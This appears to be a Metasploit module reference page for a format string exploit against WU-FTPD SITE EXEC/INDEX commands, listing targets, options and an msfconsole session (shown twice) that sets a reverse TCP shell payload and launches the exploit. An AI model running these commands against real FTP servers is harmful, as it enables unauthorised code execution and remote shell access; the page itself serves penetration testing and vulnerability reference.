WU-FTPD SITE EXEC/INDEX Format String Vulnerability
This module exploits a format string vulnerability in versions of the Washington University FTP server older than 2.6.1. By executing specially crafted SITE EXEC or SITE INDEX commands containing format specifiers, an attacker can corrupt memory and execute arbitrary code.
Exploit Rank
- Great
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Automatic Targeting (default)
- 1 - Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
- 2 - RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)
- 3 - Debug
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show payloads
msf exploit(wuftpd_site_exec_format) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(wuftpd_site_exec_format) > set LHOST [MY IP ADDRESS]
msf exploit(wuftpd_site_exec_format) > set RHOST [TARGET IP]
msf exploit(wuftpd_site_exec_format) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show payloads
msf exploit(wuftpd_site_exec_format) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(wuftpd_site_exec_format) > set LHOST [MY IP ADDRESS]
msf exploit(wuftpd_site_exec_format) > set RHOST [TARGET IP]
msf exploit(wuftpd_site_exec_format) > exploit
Exploit Module Options
| FTPPASS | The password for the specified username (default: mozilla@example.com) |
| FTPUSER | The username to authenticate as (default: anonymous) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
